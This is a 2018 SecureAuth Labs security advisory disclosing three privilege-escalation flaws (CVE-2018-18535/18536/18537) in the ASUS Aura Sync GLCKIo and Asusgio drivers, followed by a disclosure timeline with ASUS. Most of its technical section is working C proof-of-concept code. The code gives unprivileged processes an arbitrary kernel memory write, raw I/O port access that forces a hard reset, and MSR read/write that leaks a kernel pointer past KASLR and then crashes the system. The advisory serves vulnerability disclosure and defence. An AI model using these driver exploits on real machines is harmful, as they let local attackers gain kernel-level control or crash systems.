SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/
ASUS Drivers Elevation of Privilege Vulnerabilities
*1. *Advisory Information**
Title: ASUS Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2017-0012
Advisory URL:
http://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Asus
Release mode: User release
*2. *Vulnerability Information**
Class: Exposed IOCTL with Insufficient Access Control [CWE-782],
Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL
with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-18537, CVE-2018-18536, CVE-2018-18535
*3. *Vulnerability Description**
ASUS offers several drivers and utilities [1] in order to give the user
more control over certain settings and functions of the motherboard.
In particular, ASUS Aura Sync takes RGB lighting beyond the checkbox,
combining and controlling the LEDs of all your Aura-enabled products
from a single application to achieve perfect, synchronized harmony. From
motherboards and RGB strips to graphics cards and beyond, Aura Sync
enables a veritable symphony of light for ultimate personalization.
Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers
installed by ASUS Aura Sync, which could allow a local attacker to
elevate privileges.
*4. *Vulnerable Packages**
. ASUS Aura Sync v1.07.22 and previous versions
Other products and versions might be affected, but they were not tested.
*5. *Vendor Information, Solutions and Workarounds**
The vendor did not provide fixes or workaround information.
*6. *Credits**
These vulnerabilities were discovered and researched by Diego Juarez.
The publication of this advisory was coordinated by Leandro Cuozzo from
SecureAuth Advisories Team.
*7. *Technical Description / Proof of Concept Code**
Aura Sync is ASUS's command software for all their line of recent RGB
lighting enabled devices (motherboards/graphics cards/keyboards/mice/etc).
The main subject of this advisory are two of the device drivers
installed/loaded by the Aura Sync application. From now on addressed as
"Asusgio" and "GLCKIo". Default installation allows non-privileged user
processes (even running at LOW INTEGRITY) to get a HANDLE and issue
IOCTL codes to these drivers.
The following sections describe the problems found.
*7.1. *Arbitrary ring0 write**
[CVE-2018-18537]
There is a path in the processing of IOCTL_GLCKIO_READPORT (0x80102050)
on GLCKIo leading to write of arbitrary DWORD to an arbitrary address.
/-----
.text:FFFFF800B09F13FE loc_FFFFF800B09F13FE:
.text:FFFFF800B09F13FE mov rax, [rsp+0C8h+var_38]
; CONTROLLED VALUE
.text:FFFFF800B09F1406 mov ecx, [rsp+0C8h+var_56]
; CONTROLLED VALUE
.text:FFFFF800B09F140A mov [rax], ecx
; Arbitrary DWORD sized write!
.text:FFFFF800B09F140C mov rax, [rsp+0C8h+Irp]
.text:FFFFF800B09F1414 mov qword ptr [rax+38h], 4
.text:FFFFF800B09F141C jmp short loc_FFFFF800B09F142D
-----/
Proof of Concept:
/-----
#include <windows.h>
HANDLE ghDriver = 0;
#define IOCTL_GLCKIO_VMWRITE 0x80102050
typedef struct _STRUCT_GLCKIO_VMWRITE {
WORD unk0;
DWORD unk1_1;
WORD unk1_2;
ULONG64 unk2;
ULONG64 unk3;
ULONG64 unk4;
ULONG64 unk5;
ULONG64 unk6;
} STRUCT_GLCKIO_VMWRITE;
BOOL ArbitraryWriteDWORD(ULONG64 dest, DWORD value)
{
STRUCT_GLCKIO_VMWRITE mystructIn = { 0 };
mystructIn.unk0 = 0xf11;
mystructIn.unk1_1 = value; // value
mystructIn.unk5 = dest; // address
STRUCT_GLCKIO_VMWRITE mystructOut = { 0 };
DWORD returned = 0;
DeviceIoControl(ghDriver, IOCTL_GLCKIO_VMWRITE, (LPVOID)&mystructIn,
sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut),
&returned, NULL);
return BOOL(returned);
}
BOOL InitDriver()
{
ghDriver = CreateFile("\\\\.\\GLCKIo", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to GLCKIo driver - GetLastError:%d\n",
GetLastError());
return FALSE;
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
printf("ASUS Aura Sync PoC (arbitrary ring0 write)\n");
if (!InitDriver()) {
exit(0);
}
printf("press ENTER for instant BSOD\n");
getchar();
ArbitraryWriteDWORD(0, 0xffffffff);
CloseHandle(ghDriver);
return 0;
}
-----/
*7.2. *Port mapped I/O access**
[CVE-2018-18536]
Both GLCKIo and Asusgio expose a functionality to read/write data
from/to IO ports. This could be leveraged in a number of ways to
ultimately run code with elevated privileges.
/-----
// This harmless PoC only reboots the PC, much more sinister stuff
// would also be possible by abusing this functionality.
// Compile for 32bit!!! Asusgio apparently has a bug preventing this
// functionality to work unless IoIs32bitProcess == TRUE. They set rdx
// as a pointer instead of a port number on the in/out instruction...
// and they ONLY do this incorrectly in the x64 process specific code.(!?)
#include "stdafx.h"
#include <windows.h>
// for \\.\glckio
#define IOCTL_GLCKIO_WRITEPORT 0x80102054
#define IOCTL_GLCKIO_READPORT 0x80102050
// for \\.\Asusgio
#define IOCTL_ASIO_PORTREADB 0xA0406400
#define IOCTL_ASIO_PORTWRITEB 0xA040A440
HANDLE ghDriver = 0;
typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);
#pragma pack (push,1)
typedef struct {
DWORD DriverIndex; // DriverEnum index
BYTE DeviceName[MAX_PATH];
fnPMIOReadB pPMIOReadB;
fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;
AutoConfigStruct gConfig = { 0 };
enum DriverEnum {
ASIO = 1,
GLCKIO,
};
typedef struct _ASIO_PORTIO_STRUCT {
DWORD port;
ULONG64 value;
} ASIO_PORTIO_STRUCT;
typedef struct _GLCKIO_PORTIO_STRUCT {
WORD port;
DWORD value;
DWORD datalen;
} GLCKIO_PORTIO_STRUCT;
#pragma pack(pop)
#define IOCTLMACRO(iocontrolcode, size) \
BYTE outbuffer[0x30] = { 0 }; \
DWORD returned = 0; \
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \
return outbuffer[0]; \
BYTE GLCKIO_PMIOReadB(WORD port)
{
GLCKIO_PORTIO_STRUCT inbuffer = { port, 0, 1};
IOCTLMACRO(IOCTL_GLCKIO_READPORT, 10)
}
BYTE GLCKIO_PMIOWriteB(WORD port, BYTE value)
{
GLCKIO_PORTIO_STRUCT inbuffer = { port, value, 1 };
IOCTLMACRO(IOCTL_GLCKIO_WRITEPORT, 10)
}
BYTE ASIO_PMIOReadB(WORD port)
{
ASIO_PORTIO_STRUCT inbuffer = { port, 0 };
IOCTLMACRO(IOCTL_ASIO_PORTREADB, 4)
}
BYTE ASIO_PMIOWriteB(WORD port, BYTE value)
{
ASIO_PORTIO_STRUCT inbuffer = { port, value };
IOCTLMACRO(IOCTL_ASIO_PORTWRITEB, 5)
}
void Reboot()
{
BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
Sleep(50);
gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
Sleep(50);
}
BOOL InitDriver()
{
char *szDeviceNames[] = { "\\\\.\\Asusgio" , "\\\\.\\GLCKIo" };
BYTE i = 0;
for (i = 0; i<2; i++) {
ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceNames[i], GetLastError());
continue;
}
gConfig.DriverIndex = i+1;
memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
break;
}
switch (gConfig.DriverIndex) {
case DriverEnum::ASIO:
{
gConfig.pPMIOReadB = (fnPMIOReadB)ASIO_PMIOReadB;
gConfig.pPMIOWriteB = (fnPMIOWriteB)ASIO_PMIOWriteB;
}
break;
case DriverEnum::GLCKIO:
{
gConfig.pPMIOReadB = (fnPMIOReadB)GLCKIO_PMIOReadB;
}
gConfig.pPMIOWriteB = (fnPMIOWriteB)GLCKIO_PMIOWriteB;
break;
default:
break;
}
return gConfig.DriverIndex ? TRUE : FALSE;
}
int _tmain(int argc, _TCHAR* argv[])
{
printf("ASUS Aura Sync PoC (PMIO access)\n");
if (!InitDriver()) {
printf("InitDriver failed! - aborting...\n");
exit(0);
}
printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName,
(DWORD)ghDriver);
printf("press ENTER for hard reset...");
getchar();
Reboot();
CloseHandle(ghDriver);
}
-----/
*7.3. *MSR Register access**
[CVE-2018-18535]
Asusgio exposes a functionality to read and write Machine Specific
Registers (MSRs). This could be leveraged to execute arbitrary ring-0
code.
Proof of Concept:
/-----
// This PoC demonstrates insecure access to MSRs by reading IA32_LSTAR
// register value (leaks a kernel function pointer bypassing KASLR) and
// then writing garbage to it (instant BSOD!)
#include <windows.h>
// for \\.\Asusgio
#define IOCTL_ASIO_RDMSR 0xA0406458
#define IOCTL_ASIO_WRMSR 0xA040A45C
HANDLE ghDriver = 0;
#pragma pack (push,1)
typedef struct _ASIO_MSRIO_STRUCT {
DWORD reg;
ULONG64 value;
} ASIO_MSRIO_STRUCT;
#pragma pack(pop)
#define IOCTLMACRO(iocontrolcode, size) \
ULONG64 outbuffer[2] = { 0 }; \
DWORD returned = 0; \
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \
return outbuffer[0]; \
ULONG64 ASIO_RDMSR(DWORD reg)
{
ASIO_MSRIO_STRUCT inbuffer = { reg };
IOCTLMACRO(IOCTL_ASIO_RDMSR, 4)
}
ULONG64 ASIO_WRMSR(DWORD reg, ULONG64 value)
{
ASIO_MSRIO_STRUCT inbuffer = { reg, value };
IOCTLMACRO(IOCTL_ASIO_WRMSR, 12)
}
BOOL InitDriver()
{
ghDriver = CreateFile("\\\\.\\Asusgio", GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (ghDriver == INVALID_HANDLE_VALUE) {
printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", "\\\\.\\Asusgio", GetLastError());
return FALSE;
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
printf("ASUS Aura Sync PoC (MSR access)\n");
if (!InitDriver()) {
printf("InitDriver failed! - aborting...\n");
exit(0);
}
ULONG64 IA32_LSTAR = ASIO_RDMSR(0xC0000082);
printf("IA32_LSTAR: %llx (should be nt!KiSystemCall64)\n", IA32_LSTAR);
printf("press ENTER for instant BSOD\n");
getchar();
a = ASIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
CloseHandle(ghDriver);
}
-----/
*8. *Report Timeline**
2017-11-27: SecureAuth sent an initial notification to ASUS, asking for
GPG keys.
2017-12-14: SecureAuth sent a second notification to ASUS.
2018-01-29: SecureAuth sent a third notification to ASUS.
2018-01-30: Asus acknowledged SecureAuth's e-mail and asked for a report
with technical information.
2018-01-31: SecureAuth sent Asus a draft version of the advisory.
2018-02-07: SecureAuth requested an update from Asus regarding the
reported vulnerabilities and a tentative schedule.
2018-02-14: SecureAuth again requested an update from Asus regarding the
reported vulnerabilities and a tentative schedule.
2018-02-21: Asus acknowledged SecureAuth's draft report and asked for
time for internal investigations.
2018-02-21: Asus answered saying that they were planning to update Aura
in April.
2018-02-21: SecureAuth thanked Asus's feedback and requested a regular
contact until the Auras update.
2018-03-19: SecureAuth asked for a status update.
2018-03-26: SecureAuth asked for a status update again.
2018-03-26: Asus notified that the Aura Sync had been fixed.
2018-03-26: SecureAuth asked Asus to confirm if this new version had
been already released.
2018-04-03: SecureAuth requested a status update.
2018-04-16: SecureAuth requested a confirmation for Asus.
2018-04-23: SecureAuth requested a confirmation for Asus again.
2018-04-26: SecureAuth noticed that a new version of Aura Sync was
available. However, this version didn't address the reported
vulnerabilities. For that reason, SecureAuth requested a clarification
about the case.
2018-05-08: SecureAuth noticed that a new version of Aura Sync was
available but this version only addresses one of the two vulnerable
drivers. In this context, SecureAuth requested a new clarification.
2018-07-03: SecureAuth requested a status update.
2018-12-18: Advisory CORE-2017-0012 published as 'user release'.
*9. *References**
[1] https://www.asus.com/support
*10. *About SecureAuth Labs**
SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.
*11. *About SecureAuth**
SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, identity governance, and penetration
testing, SecureAuth is powering an identity security revolution by
enabling people and devices to intelligently and adaptively access
systems and data, while effectively keeping bad actors from doing harm.
By ensuring the continuous assessment of risk and enablement of trust,
SecureAuth's highly flexible Identity Security Automation (ISA) platform
makes it easier for organizations to prevent the misuse of credentials
and exponentially reduce the enterprise threat surface. To learn more,
visit www.secureauth.com, call (949) 777-6959, or email us at
info@secureauth.com
*12. *Disclaimer**
The contents of this advisory are copyright (c) 2018 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
